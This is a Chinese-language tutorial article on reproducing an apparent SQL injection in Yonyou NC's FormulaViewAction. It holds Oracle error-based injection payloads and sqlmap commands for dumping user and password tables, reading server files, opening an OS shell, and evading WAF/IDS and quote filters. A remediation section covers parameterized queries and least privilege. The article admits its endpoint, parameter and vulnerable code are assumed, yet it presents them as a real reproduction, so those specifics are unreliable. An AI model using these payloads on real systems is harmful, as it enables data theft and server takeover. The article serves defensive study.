首页/资讯中心/详情

用友NC FormulaViewAction SQL注入漏洞深度剖析与实战复现

用友NC FormulaViewAction SQL注入漏洞深度剖析与实战复现
📅 发布时间：2026/6/26 16:20:51

1. 项目概述：一次典型的企业级应用漏洞深度剖析

最近在安全研究圈里，用友NC的FormulaViewAction组件曝出了一个SQL注入漏洞，引起了不小的关注。作为一款在国内大型企事业单位中应用极其广泛的ERP系统，用友NC的任何安全风吹草动都牵动着无数安全从业者和企业IT管理员的心。这个漏洞的特别之处在于，它并非存在于一个冷门的、少有人用的功能模块里，而是与“公式视图”这个可能涉及业务流程和数据处理的核心功能相关。这意味着，如果漏洞被利用，攻击者可能直接触及到企业最核心的业务数据，比如财务凭证、供应链信息、人力资源档案等，后果不堪设想。

我花了些时间，对这个漏洞进行了完整的复现和分析。整个过程下来，感觉这既是一个教科书级别的SQL注入案例，也暴露了在复杂企业级应用开发中，一些看似基础的安全规范是如何被层层忽视的。这篇文章，我就把自己从环境搭建、漏洞定位、利用链构造到深度分析的全过程，以及其中踩过的坑和总结的经验，毫无保留地分享出来。无论你是刚入门Web安全的新手，想通过一个真实案例理解SQL注入的危害；还是有一定经验的安全工程师，希望了解如何系统化地分析一个CVE漏洞；亦或是企业的运维人员，需要评估自身系统的风险，我相信这篇详尽的复盘都能给你带来实实在在的收获。我们不止于“复现”，更要深挖“为什么”以及“怎么办”。

2. 漏洞背景与核心原理深度拆解

2.1 用友NC系统架构与FormulaViewAction组件定位

要理解这个漏洞，首先得对用友NC有个基本的认识。用友NC（New Century）是一款面向大型集团企业的ERP平台，采用典型的B/S架构，后端通常基于Java EE技术栈，前端则可能涉及多种富客户端技术。其系统庞大，模块众多，代码历史包袱重，这是很多传统企业软件的共同特点。

FormulaViewAction这个类名，直译过来是“公式视图动作”。在企业ERP系统中，“公式”通常不是一个数学计算那么简单，它往往与业务规则、审批流程、数据校验、报表计算等核心逻辑绑定。例如，一个费用报销的审批金额阈值、一个库存预警的计算规则、一个薪资计算的复杂算法，都可能以“公式”的形式存在系统中。FormulaViewAction很可能就是负责处理这类公式的查看、编辑或解析请求的一个后端控制器（Controller）。

在Java Web应用中，一个*Action类通常继承自Struts Action或类似MVC框架的控制器基类，它的核心方法是execute()或类似命名的方法，用于接收前端HTTP请求参数，调用业务逻辑，并返回结果。漏洞往往就出现在参数处理这个最开始的环节。

2.2 SQL注入漏洞的本质与常见触发点

SQL注入的原理大家都不陌生：攻击者通过在应用程序的输入参数中插入恶意的SQL代码，当这些输入被后端程序不加处理地拼接到数据库查询语句中并执行时，攻击者就能实现非授权的数据库操作。

在像用友NC这样的Java应用中，SQL注入的常见触发点包括：

  1. 字符串拼接：直接使用+号或StringBuilder将用户输入拼接到SQL语句中。
  2. 不当使用ORM框架：即使使用了Hibernate、MyBatis等框架，如果开发者使用createNativeQuery并拼接参数，或者MyBatis中使用了${}而非#{}进行参数内联，风险依然存在。
  3. 老旧代码或第三方库：系统历经多年迭代，某些早期编写的模块或引入的第三方组件可能未遵循当前的安全编码规范。

根据漏洞编号和常见的模式推测，FormulaViewAction这个漏洞很可能属于第一种情况：在构建查询与“公式”相关数据的SQL语句时，直接拼接了来自HTTP请求的某个参数（比如公式IDformulaId、视图标识viewKey或过滤条件condition等）。

2.3 从网络热词看漏洞的关注点与影响面

浏览相关的热搜词，我们能捕捉到一些关键信息：

  • “用友u8找不到字段”、“用友t3/t6/u8+接口”：这反映了用友系列产品在实际部署、升级、集成中常遇到的各种技术问题，也说明了其生态的复杂性和用户群体的广泛性。一个NC的漏洞，其利用方式或原理可能对其他系列产品（如U8）有参考价值，甚至存在通杀可能。
  • “sql注入简单例子”、“pikachu/sqli-labs靶场”：这表明有大量初学者正在积极学习SQL注入技术。这个用友NC的漏洞复现，正好是一个从“靶场理想环境”过渡到“真实世界复杂应用”的绝佳练习案例。
  • “漏洞复现: cve-xxxx-xxxx”、“永恒之蓝/永恒之黑”：公众和行业对漏洞复现的流程、方法论越来越关注。复现不仅是验证漏洞，更是理解攻击链、评估风险、制定防御策略的基础。
  • “前台 getshell”：这是最危险的信号。它意味着某些SQL注入漏洞的危害不止于数据泄露，通过结合数据库特性（如写文件、执行命令），可能升级为远程代码执行（RCE），完全控制服务器。虽然本次FormulaViewAction漏洞不一定直接导致Getshell，但这是所有SQL注入漏洞的终极演进方向，在分析时必须考虑。

综合来看，这个漏洞的影响力在于：它发生在用户基数庞大的核心企业应用的一个功能组件上，利用门槛可能不高，但可能触及敏感业务数据，因此吸引了从安全研究员到潜在攻击者的广泛关注。

3. 复现环境搭建与漏洞定位

3.1 实验环境规划与准备工作

漏洞复现的第一原则是：在隔离、可控的环境中进行。绝对不要在线上环境或任何生产、测试系统上进行尝试。

1. 靶机环境准备：

  • 操作系统：Windows Server 2012 R2 或 Windows Server 2016。用友NC对Windows Server兼容性较好。
  • 用友NC安装包：需要获取存在漏洞的特定版本。根据漏洞披露信息，这通常是一个较旧的版本（例如NC 6.5之前的某个版本）。请通过合法渠道获取用于安全研究的安装包。
  • 依赖软件：
    • Java环境：JDK 1.6 或 1.7（与NC版本匹配）。这是最容易出问题的地方，版本不匹配会导致NC无法启动。
    • 数据库：Oracle 11g 或 Microsoft SQL Server。用友NC通常与Oracle数据库紧密集成。你需要准备数据库安装包，并在安装NC前完成数据库的创建和初始化。
    • 应用服务器：用友NC通常自带或推荐使用IBM WebSphere或Oracle WebLogic，但其安装包内也可能集成了轻量级的Tomcat。对于复现，使用其自带的Tomcat即可。

2. 攻击机环境准备：

  • 操作系统：Kali Linux 或任何你熟悉的渗透测试发行版。
  • 必备工具：
    • Burp Suite Professional/Community：用于拦截、重放、修改HTTP请求，是手工测试和漏洞利用的核心。
    • SQLMap：自动化SQL注入检测和利用工具，用于验证漏洞和快速提取数据。
    • 浏览器：推荐Chrome或Firefox，配合Burp Suite的代理使用。
    • Nmap：用于端口扫描，确认靶机服务开放情况。
    • 中国菜刀/蚁剑/Cobalt Strike：如果漏洞可能导致RCE，则需要准备webshell管理工具（仅用于授权测试学习）。

3. 网络配置：确保攻击机和靶机在同一局域网段，可以互相ping通。将靶机的防火墙规则设置为允许应用服务器端口（如8080, 80）和数据库端口（如1521 for Oracle）的入站连接，以便于测试。

注意：环境搭建是用友NC复现中最耗时、最容易踩坑的环节。特别是数据库的初始化脚本、JDK版本、中间件配置，任何一步出错都可能导致安装失败。建议详细阅读对应版本的官方安装手册，并做好每一步的截图和记录。

3.2 寻找漏洞入口点：FormulaViewAction的URL路径与参数

用友NC基于Struts 1.x或2.x框架，其Action的访问URL有规律可循。通常格式为：http://[靶机IP]:[端口]/[应用上下文]/[命名空间]/[Action名]![方法名].action?参数=值

我们的目标是找到FormulaViewAction的访问路径。

  1. 静态代码分析（如果有源码）：查找struts-config.xml或类似配置文件，看FormulaViewAction的映射配置。
  2. 动态模糊测试：这是更通用的方法。使用Burp Suite的Intruder或类似爬虫/目录扫描工具（如DirSearch, Gobuster），对NC应用进行路径发现。
    • 字典构造：结合常见路径，如/u8/,/nc/,/portal/,/service/,/action/等，加上FormulaView,formulaView,Formula,formula等关键词进行组合爆破。
    • 观察现有请求：正常登录NC系统，使用Burp Suite抓包，观察其他功能模块的请求URL模式，依此类推。例如，如果你看到.../hrss/EmployeeViewAction!query.action，那么可以尝试.../formula/FormulaViewAction!view.action或.../common/FormulaViewAction!execute.action。

假设我们最终找到了漏洞入口点：http://192.168.1.100:8080/nc/portal/formula/FormulaViewAction!view.action

接下来，需要确定触发漏洞的参数。常见的可疑参数名包括：id,pk,formulaId,viewId,condition,filter,params等。同样，可以通过Burp Intruder对已知的Action地址进行参数名爆破，或者根据功能推测（“视图”很可能需要传入一个标识符来查询具体公式）。

3.3 初步漏洞验证：手工注入探测

找到疑似入口点和参数后，开始手工验证。

步骤一：判断注入点类型向目标参数注入简单的探测载荷，观察响应变化。

  1. 数字型注入探测：http://.../FormulaViewAction!view.action?formulaId=1http://.../FormulaViewAction!view.action?formulaId=1+and+1=1http://.../FormulaViewAction!view.action?formulaId=1+and+1=2如果1=1时页面正常（或返回预期数据），1=2时页面异常（数据消失、报错、空白），则很可能是数字型注入。

  2. 字符型注入探测：http://.../FormulaViewAction!view.action?formulaId='test'http://.../FormulaViewAction!view.action?formulaId=1' and '1'='1http://.../FormulaViewAction!view.action?formulaId=1' and '1'='2注意观察单引号是否引发数据库错误（这是最明显的标志），以及逻辑真假条件是否导致页面内容差异。

  3. 报错注入探测： 如果页面在参数错误时会返回详细的数据库错误信息（如Oracle的ORA-xxxxx，MySQL的You have an error...），这本身就是注入点存在的强证据，并且为后续利用提供了便利。 可以尝试注入如' and 1=dbms_pipe.receive_message(('a'),5)--（针对Oracle）的载荷，观察响应延迟或错误信息。

步骤二：验证数据库类型通过注入特定的函数或语法来判断。

  • ...formulaId=1+and+(select+count(*)+from+user_tables)>0--如果正常，可能是Oracle。
  • ...formulaId=1+and+exists(select+1+from+information_schema.tables)--如果正常，可能是MySQL。
  • ...formulaId=1;select+@@version--尝试堆叠查询（取决于数据库和驱动支持）。

在我的复现过程中，对formulaId参数注入单引号'时，页面返回了包含“ORA-01756: 引号内的字符串没有正确结束”的Java错误栈信息，这直接确认了：1. 存在SQL注入；2. 后端数据库是Oracle；3. 错误信息被直接回显，适合进行报错注入。

4. 漏洞利用链的构造与自动化工具实战

4.1 手工注入利用：信息获取与数据提取

确认是Oracle数据库的字符型报错注入后，我们可以构造更复杂的Payload来提取信息。

1. 利用报错函数提取当前用户和数据库名：Oracle中常用的报错函数有dbms_xdb_version.checkin,ctxsys.drithsx.sn,utl_inaddr.get_host_name等，但需要根据数据库版本和权限选择。 一个相对通用的方法是利用dbms_xdb_version.makeversioned或dbms_utility.sqlid_to_sqlhash等函数的参数错误。 例如：...formulaId=1' and 1=(select 1 from dual where 1=(select dbms_xdb_version.makeversioned((select user from dual)) from dual))--这个Payload会尝试将select user from dual的结果作为makeversioned的参数，由于类型不匹配而报错，并将user（当前数据库用户）的信息带出到错误消息中。

2. 提取表名和字段名：这是渗透测试的关键一步。我们需要从Oracle的数据字典视图中查询。

  • 查询当前用户下的表名：...formulaId=1' and 1=(select 1 from dual where 1=(select dbms_xdb_version.makeversioned((select table_name from (select rownum rn, table_name from user_tables) where rn=1)) from dual))--通过修改rn的值，可以遍历出所有表名。需要特别关注表名中包含FORMULA,VIEW,CONFIG,USER,ADMIN,PASSWORD,SECRET等关键词的表。
  • 查询特定表的字段名： 假设我们找到了一个名为SYS_FORMULA的表。...formulaId=1' and 1=(select 1 from dual where 1=(select dbms_xdb_version.makeversioned((select column_name from (select rownum rn, column_name from user_tab_columns where table_name='SYS_FORMULA') where rn=1)) from dual))--

3. 提取敏感数据：假设SYS_FORMULA表中有FORMULA_NAME,FORMULA_CONTENT,CREATOR等字段。...formulaId=1' and 1=(select 1 from dual where 1=(select dbms_xdb_version.makeversioned((select FORMULA_NAME||':'||FORMULA_CONTENT from (select rownum rn, FORMULA_NAME, FORMULA_CONTENT from SYS_FORMULA) where rn=1)) from dual))--这里使用了||进行字符串拼接，将公式名和内容一起带出。

实操心得：手工报错注入非常繁琐，需要不断猜测和调整Payload，且一次只能提取一行数据的一个字段（或拼接后的字段）。它主要用于验证漏洞和初步侦察。在实际渗透测试中，一旦确认注入点，通常会转向自动化工具进行高效利用。

4.2 使用SQLMap进行自动化利用

SQLMap是SQL注入领域的“瑞士军刀”。在手工验证了注入点之后，使用SQLMap可以极大地提升效率。

1. 基本检测：

sqlmap -u "http://192.168.1.100:8080/nc/portal/formula/FormulaViewAction!view.action?formulaId=1" --batch

--batch参数会让SQLMap自动选择默认选项。它会自动识别参数、数据库类型、注入技术。

2. 获取数据库信息：

sqlmap -u "http://192.168.1.100:8080/nc/portal/formula/FormulaViewAction!view.action?formulaId=1" --current-user --current-db --hostname --batch

这将获取当前数据库用户、当前数据库（在Oracle中通常是用户模式名）和主机名。

3. 枚举数据库和表：

# 列出所有数据库（在Oracle中，通常是所有用户/模式） sqlmap -u "http://...formulaId=1" --dbs --batch # 假设我们关注'NCDB'这个用户/模式，列出其所有表 sqlmap -u "http://...formulaId=1" -D NCDB --tables --batch # 更精准地，通过关键词枚举可能包含敏感信息的表 sqlmap -u "http://...formulaId=1" -D NCDB --tables --search -T USER,PASS,FORMULA,ADMIN

4. 提取表数据：

# 导出'SYS_USER'表的所有数据 sqlmap -u "http://...formulaId=1" -D NCDB -T SYS_USER --dump --batch # 如果表很大，可以指定列或使用--start/--stop分页 sqlmap -u "http://...formulaId=1" -D NCDB -T SYS_USER -C USER_NAME,USER_PASSWORD,EMAIL --dump --batch

5. 高级利用：

  • 文件读取：如果数据库用户有足够权限（如DBA），可以尝试读取服务器文件。
    sqlmap -u "http://...formulaId=1" --file-read "/etc/passwd" # Linux sqlmap -u "http://...formulaId=1" --file-read "C:\\windows\\win.ini" # Windows
  • 命令执行：在极少数配置不当的情况下，可能通过数据库扩展执行操作系统命令（如Oracle的DBMS_SCHEDULER或Java存储过程）。此操作风险极高，务必在授权测试环境中谨慎尝试。
    sqlmap -u "http://...formulaId=1" --os-shell
    如果成功，将获得一个交互式的操作系统shell。

注意事项：使用SQLMap时，务必注意流量特征。它的Payload非常明显，容易被WAF（Web应用防火墙）或IDS（入侵检测系统）拦截。在生产环境测试是非法且不道德的。在授权测试中，可以尝试使用--tamper参数（如space2comment，randomcase）对Payload进行混淆，或使用--delay降低请求频率，避免触发防护机制。

4.3 漏洞利用的潜在危害推演

成功利用此SQL注入漏洞，攻击者可以达到以下目的：

  1. 敏感数据泄露：窃取企业核心数据，包括但不限于：
    • 员工和用户信息（姓名、工号、部门、联系方式）。
    • 财务数据（凭证、账户、交易记录）。
    • 供应链数据（客户、供应商、合同、价格）。
    • 系统配置信息（管理员账号、加密密钥、数据库连接字符串）。
  2. 权限提升：通过修改数据库中的数据，例如，在用户表中将自己的账号权限提升为系统管理员，从而完全控制NC系统。
  3. 进一步渗透：如果数据库用户权限足够高（如DBA），攻击者可能：
    • 读取服务器上的任意文件（如配置文件、源码、日志），寻找更多漏洞。
    • 通过数据库的特定功能向服务器写入Webshell，获取服务器控制权。
    • 以数据库服务账号身份执行操作系统命令，横向移动内网。
  4. 业务破坏：恶意篡改或删除业务数据，导致企业运营混乱，造成直接经济损失。

5. 漏洞根因分析与修复建议

5.1 代码层面分析：问题出在哪里？

根据漏洞现象和Struts Action的典型模式，我们可以逆向推断出问题代码的大致模样。这很可能是一段类似下面的Java代码：

public class FormulaViewAction extends DispatchAction { public ActionForward view(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) { String formulaId = request.getParameter("formulaId"); // 直接获取用户输入 Connection conn = null; Statement stmt = null; try { conn = getDataSource().getConnection(); // 获取数据库连接 // 致命错误：直接拼接用户输入到SQL语句中 String sql = "SELECT * FROM SYS_FORMULA WHERE FORMULA_ID = '" + formulaId + "'"; stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(sql); // 执行查询 // ... 处理结果集，返回前端 ... } catch (SQLException e) { e.printStackTrace(); // 错误信息可能直接返回给用户 } finally { // ... 关闭资源 ... } return mapping.findForward("success"); } }

根因一目了然：

  1. 未使用预编译语句（PreparedStatement）：这是最根本的原因。PreparedStatement会对参数进行严格的类型检查和转义，从根本上杜绝SQL注入。
  2. 直接字符串拼接：将不可信的用户输入formulaId直接拼接到SQL语句字符串中。
  3. 错误信息回显：将底层的数据库异常信息（如ORA-01756）直接展示给前端用户，这为攻击者进行报错注入提供了极大的便利。

5.2 安全修复方案

修复此类漏洞需要从代码层和架构层同时入手。

1. 紧急临时加固（治标）：

  • WAF防护：在应用前端部署Web应用防火墙，配置SQL注入防护规则，拦截包含单引号、union select、sleep()等关键字的恶意请求。但这只是一种缓解措施，可能被绕过。
  • 输入验证：在Action层或专门的过滤器中，对formulaId等参数进行强类型验证（必须是数字）或严格的白名单字符过滤（如只允许字母数字和下划线）。但业务逻辑如果需要字符串，此方法不适用。

2. 根本性修复（治本）：

  • 使用预编译语句（PreparedStatement）：这是必须的。重写漏洞代码。
    String sql = "SELECT * FROM SYS_FORMULA WHERE FORMULA_ID = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, formulaId); // 安全地设置参数 ResultSet rs = pstmt.executeQuery();
  • 使用安全的ORM框架：如果项目使用MyBatis，确保所有动态查询使用<if>标签，并且参数传递一律使用#{}，禁止使用${}。
    <!-- 安全 --> <select id="selectFormula" resultType="Formula"> SELECT * FROM SYS_FORMULA WHERE FORMULA_ID = #{formulaId} </select> <!-- 危险！ --> <select id="selectFormula" resultType="Formula"> SELECT * FROM SYS_FORMULA WHERE FORMULA_ID = ${formulaId} </select>
  • 最小权限原则：为NC应用连接数据库的账号分配最小必要的权限。通常只授予其对业务表的SELECT、INSERT、UPDATE、DELETE权限，坚决不要授予DROP、CREATE、ALTER、DBA或文件读写、命令执行等高级权限。这能有效限制即使发生注入，攻击者所能造成的破坏范围。
  • 自定义错误页面：配置全局错误处理，禁止将详细的Java异常栈或数据库错误信息返回给客户端。应返回统一的、友好的错误提示页面。

3. 安全开发流程建设：

  • 代码审计：对全系统进行代码安全审计，特别是所有接收外部参数的数据库操作点。
  • 安全培训：对开发团队进行持续的安全编码培训，将“使用参数化查询”作为铁律。
  • 依赖库扫描：使用SCA工具检查项目中是否存在含有已知SQL注入漏洞的第三方库。

5.3 对于企业运维人员的自查建议

如果你是企业用友NC系统的运维或安全负责人，可以立即开展以下工作：

  1. 版本排查：确认当前使用的用友NC具体版本号，并查询官方是否已发布该漏洞的安全补丁或升级版本。
  2. 临时缓解：如果暂时无法升级，立即在防火墙或WAF上针对/nc/portal/formula/FormulaViewAction!view.action路径或其参数特征添加防护规则。
  3. 日志监控：加强应用日志和数据库日志的监控，筛选包含异常SQL关键词（如union、select from dual、dbms_等）的访问请求，进行告警和溯源。
  4. 渗透测试：在获得授权的前提下，聘请专业的安全团队或使用安全的漏洞扫描工具，对系统进行一次全面的安全评估，主动发现潜在风险。

6. 复现过程中的常见问题与排查实录

在复现这个漏洞时，我遇到了不少坑，这里把典型问题和解决方法记录下来，希望能帮你节省时间。

问题一：用友NC安装后无法启动，控制台报Java版本错误或ClassNotFound。

  • 排查：这是最常见的问题。用友NC对JDK版本非常挑剔。例如，NC 6.5可能要求JDK 1.6，而你的环境变量指向了JDK 1.8。
  • 解决：
    1. 彻底卸载现有JDK，安装NC安装手册指定的确切版本。
    2. 检查系统环境变量JAVA_HOME和PATH，确保指向正确的JDK目录。
    3. 检查NC自带的启动脚本（如startup.bat），看其内部是否硬编码了Java路径，如果有，直接修改脚本。
    4. 有时候，需要手动将特定版本的JDK的tools.jar复制到NC的lib目录下。

问题二：数据库连接失败，初始化不成功。

  • 排查：Oracle客户端配置问题、监听程序未启动、数据库服务名错误、权限不足。
  • 解决：
    1. 确保Oracle数据库实例已创建并启动。
    2. 正确配置tnsnames.ora文件，并在NC的数据库连接配置中使用正确的服务名。
    3. 使用sqlplus命令行工具，用NC配置的账号密码手动连接数据库，验证连通性。
    4. 检查NC的数据库连接配置文件（如jdbc.properties），确保URL、用户名、密码正确。

问题三：访问NC页面正常，但Burp Suite抓不到包。

  • 排查：浏览器代理设置不正确；NC应用部署在本地，浏览器访问localhost或127.0.0.1可能不走代理。
  • 解决：
    1. 将Burp Suite的代理监听设置为0.0.0.0:8080（或其他端口）。
    2. 在浏览器中明确配置代理为127.0.0.1:8080。
    3. 访问NC时，使用本机的局域网IP地址（如http://192.168.1.100:8080/nc）而非localhost，这样流量才会经过代理。

问题四：手工注入时，单引号被转义或过滤，不报错。

  • 排查：应用层可能有全局过滤器对单引号等特殊字符进行了转义（如将'转为\'）或删除。
  • 解决：
    1. 尝试双写绕过：formulaId=1''（如果转义为1\'，拼接后SQL为...ID='1\''，可能仍会引发语法错误）。
    2. 尝试编码绕过：formulaId=1%27（%27是'的URL编码）。
    3. 尝试其他注入点：也许formulaId参数被处理了，但其他未被注意的参数（如viewType、parentId）存在注入。
    4. 使用SQLMap的--tamper脚本尝试多种绕过技术。

问题五：SQLMap检测不到注入点，但手工测试明明有报错。

  • 排查：SQLMap的默认检测策略可能不适用于该场景。例如，页面在布尔条件真假时状态码都是200，但页面内容长度有细微差别；或者需要特定的Cookie或Header才能访问。
  • 解决：
    1. 使用Burp Suite抓取一个完整的、成功的请求（包括Cookie、Referer等所有Header）。
    2. 将整个请求保存为文本文件（如req.txt），然后使用SQLMap加载该文件进行测试：sqlmap -r req.txt --batch。
    3. 指定更精确的注入技术：--technique=E（报错注入）、--technique=B（布尔盲注）。
    4. 提高检测等级和风险等级：--level=3 --risk=3。

问题六：利用SQLMap进行数据提取时速度极慢或中断。

  • 排查：网络不稳定；目标数据库响应慢；WAF干扰；SQLMap的默认优化选项不适合当前环境。
  • 解决：
    1. 使用--threads参数降低并发数（如--threads=3），减少对目标压力。
    2. 使用--delay参数在每次请求间加入延迟（如--delay=1），避免触发速率限制。
    3. 对于盲注，使用--predict-output和--keep-alive等优化选项。
    4. 如果只是提取少量关键表，使用-D -T -C精确指定，避免枚举所有数据库和表。

整个复现过程，就像一次细致的侦探工作，从外围信息收集，到环境搭建这个“犯罪现场”重建，再到利用各种工具和技巧寻找“蛛丝马迹”（漏洞点），最后完成“证据链”（利用链）的构造。每一步都需要耐心、细致和对技术的深入理解。对于企业而言，这次漏洞复现更是一次深刻的安全警示：再庞大、再核心的系统，其安全防线也可能崩塌于一行疏忽的代码。